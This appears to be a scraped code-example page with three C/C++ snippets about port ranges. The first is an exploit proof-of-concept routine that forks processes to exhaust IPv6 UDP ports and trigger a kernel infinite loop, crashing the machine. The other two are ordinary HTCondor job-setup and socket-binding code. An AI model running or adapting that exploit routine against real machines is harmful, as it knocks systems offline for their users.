示例#1
0
/* The criticial is fairly simple to raise : the infinite loop occurs when
 * calling bind with no speficied port number (ie zero), if and only if the
 * IPv6 stack cannot find any free UDP port within the local port range
 * (normally 32768-61000). Because this requires times more sockets than what
 * a process normally can open at a given time, we have to spawn several
 * processes. Then, the simplest way to trigger the crash condition consists
 * of opening up kernel-allocated UDP ports until it crashes, but that is
 * fairly slow (because allocation are stored in small a hash table of lists,
 * that are checked at each allocation). A much faster scheme involves getting
 * the local port range from /proc, allocating one by one, and only then, ask
 * for automatic (any/zero) port allocation.
 */
static int
proof (void)
{
	int lim, val = 2;
	pid_t pid, ppid;
	uint16_t range[2], port;

	lim = get_fd_limit ();
	if (lim <= 3)
		return -2;

	get_port_range (range);

	port = range[0];
	ppid = getpid ();

	puts ("Stage 1...");
	do
	{
		switch (pid = fork ())
		{
			case 0:
				for (val = 3; val < lim; val++)
					close (val);

				do
				{
					if (bind_udpv6_port (port) >= 0)
					{
						if (port)
							port++;
					}
					else
					if (port && (errno == EADDRINUSE))
						port++; /* skip already used port */
					else
					if (errno != EMFILE)
						/* EAFNOSUPPORT -> no IPv6 stack */
						/* EADDRINUSE -> not vulnerable */
						exit (1);

					if (port > range[1])
					{
						puts ("Stage 2... should crash quickly");
						port = 0;
					}
				}
				while (errno != EMFILE);

				break; /* EMFILE: spawn new process */

			case -1:
				exit (2);

			default:
				wait (&val);
				if (ppid != getpid ())
					exit (WIFEXITED (val) ? WEXITSTATUS (val) : 2);
		}
	}
	while (pid == 0);

	puts ("System not vulnerable");
	return -val;
}
示例#2
0
UserProc::UserProc( STARTUP_INFO &s ) :
	cluster( s.cluster ),
	proc( s.proc ),
	m_a_out( NULL ),
	core_name( NULL ),
	uid( s.uid ),
	gid( s.gid ),
	v_pid( s.virt_pid ),
	pid( 0 ),
	job_class( s.job_class ),
	state( NEW ),
	user_time( 0 ),
	sys_time( 0 ),
	exit_status_valid( FALSE ),
	exit_status( 0 ),
	ckpt_wanted( s.ckpt_wanted ),
	soft_kill_sig( s.soft_kill_sig ),
	new_ckpt_created( FALSE ),
	ckpt_transferred( FALSE ),
	core_created( FALSE ),
	core_transferred( FALSE ),
	exit_requested( FALSE ),
	image_size( -1 ),
	guaranteed_user_time( 0 ),
	guaranteed_sys_time( 0 ),
	pids_suspended( -1 )
{
	MyString	buf;
	mode_t 	omask;

	cmd = new char [ strlen(s.cmd) + 1 ];
	strcpy( cmd, s.cmd );

	// Since we are adding to the argument list, we may need to deal
	// with platform-specific arg syntax in the user's args in order
	// to successfully merge them with the additional args.
	args.SetArgV1SyntaxToCurrentPlatform();

	MyString args_errors;
	if(!args.AppendArgsV1or2Raw(s.args_v1or2,&args_errors)) {
		EXCEPT("ERROR: Failed to parse arguments string: %s\n%s",
			   args_errors.Value(),s.args_v1or2);
	}

		// set up environment as an object
	MyString env_errors;
	if(!env_obj.MergeFromV1or2Raw( s.env_v1or2,&env_errors )) {
		EXCEPT("ERROR: Failed to parse environment string: %s\n%s",
			   env_errors.Value(),s.env_v1or2);
	}

		// add name of SMP slot (from startd) into environment
	setSlotEnv(&env_obj);

	/* Port regulation for user job */
	int low_port, high_port;

		// assume outgoing port range
	if (get_port_range(TRUE, &low_port, &high_port) == TRUE) {
		buf.formatstr( "_condor_LOWPORT=%d", low_port);
		env_obj.SetEnv(buf.Value());
		buf.formatstr( "_condor_HIGHPORT=%d", high_port);
		env_obj.SetEnv(buf.Value());
	}
	/* end - Port regulation for user job */

	if( param_boolean("BIND_ALL_INTERFACES", true) ) {
		buf.formatstr( "_condor_BIND_ALL_INTERFACES=TRUE" );
	} else {
		buf.formatstr( "_condor_BIND_ALL_INTERFACES=FALSE" );
	}
	env_obj.SetEnv(buf.Value());
	

		// Generate a directory where process can run and do its checkpointing
	omask = umask(0);
	buf.formatstr( "dir_%d", getpid() );
	local_dir = new char [ buf.Length() + 1 ];
	strcpy( local_dir, buf.Value() );
	if (privsep_enabled()) {
		// the Switchboard expects a full path to privsep_create_dir
		MyString local_dir_path;
		local_dir_path.formatstr("%s/%s", Execute, local_dir);
		if (!privsep_create_dir(get_condor_uid(), local_dir_path.Value())) {
			EXCEPT("privsep_create_dir failure");
		}
		if (chmod(local_dir_path.Value(), LOCAL_DIR_MODE) == -1) {
			EXCEPT("chmod failure after privsep_create_dir");
		}
	}
	else {
		if( mkdir(local_dir,LOCAL_DIR_MODE) < 0 ) {
			EXCEPT( "mkdir(%s,0%o)", local_dir, LOCAL_DIR_MODE );
		}
	}
	(void)umask(omask);

		// Now that we know what the local_dir is, put the path into
		// the environment so the job knows where it is
	MyString scratch_env;
	scratch_env.formatstr("CONDOR_SCRATCH_DIR=%s/%s",Execute,local_dir);
	env_obj.SetEnv(scratch_env.Value());

	buf.formatstr( "%s/condor_exec.%d.%d", local_dir, cluster, proc );
	cur_ckpt = new char [ buf.Length() + 1 ];
	strcpy( cur_ckpt, buf.Value() );

		// Find out if user wants checkpointing
#if defined(NO_CKPT)
	ckpt_wanted = FALSE;
	dprintf(D_ALWAYS,
			"This platform doesn't implement checkpointing yet\n"
	);
#else
	ckpt_wanted = s.ckpt_wanted;
#endif

	restart = s.is_restart;
	coredump_limit_exists = s.coredump_limit_exists;
	coredump_limit = s.coredump_limit;
}
示例#3
0
// [IPV6] Ported
int
_condor_local_bind( int is_outgoing, int fd )
{
	/* Note: this function is completely WinNT screwed.  However,
	 * only non-Cedar components call this function (ckpt-server,
	 * old shadow) --- and these components are not destined for NT
	 * anyhow.  So on NT, just pass back success so log file is not
	 * full of scary looking error messages.
	 *
	 * This function should go away when everything uses CEDAR.
	 */
#ifndef WIN32
	int lowPort, highPort;
	if ( get_port_range(is_outgoing, &lowPort, &highPort) == TRUE ) {
		if ( bindWithin(fd, lowPort, highPort) == TRUE )
            return TRUE;
        else
			return FALSE;
	} else {
		//struct sockaddr_storage ss;
		ipv4or6_storage ss;
		socklen_t len = sizeof(ss);
		int r = getsockname(fd, &(ss.sa), &len);
		if (r != 0) {
			dprintf(D_ALWAYS, "ERROR: getsockname fialed, errno: %d\n",
					errno);
			return FALSE;
		}

			// this implementation should be changed to the one
			// using condor_sockaddr class
		if (ss.all.ss_family == AF_INET) {
			struct sockaddr_in* sa_in = &(ss.v4);
			memset( (char *)sa_in, 0, sizeof(struct sockaddr_in) );
			sa_in->sin_family = AF_INET;
			sa_in->sin_port = 0;
			/*
			  we don't want to honor BIND_ALL_INTERFACES == true in
			  here.  this code is only used in the ckpt server (which
			  isn't daemoncore, so the hostallow localhost stuff
			  doesn't matter) and for bind()ing outbound connections
			  inside do_connect().  so, there's no harm in always
			  binding to all interfaces in here...
			  Derek <*****@*****.**> 2005-09-20
			*/
			sa_in->sin_addr.s_addr = INADDR_ANY;
		} else if (ss.all.ss_family == AF_INET6) {
			struct sockaddr_in6* sin6 = &(ss.v6);
			sin6->sin6_addr = in6addr_any;
			sin6->sin6_port = 0;
		} else {
			dprintf(D_ALWAYS, "ERROR: getsockname returned with unknown "
					"socket type %d\n", ss.all.ss_family);
			return FALSE;
		}

		if( bind(fd, &(ss.sa), len) < 0 ) {
			dprintf( D_ALWAYS, "ERROR: bind failed, errno: %d\n",
					 errno );
			return FALSE;
		}
	}
#endif  /* of ifndef WIN32 */
	return TRUE;
}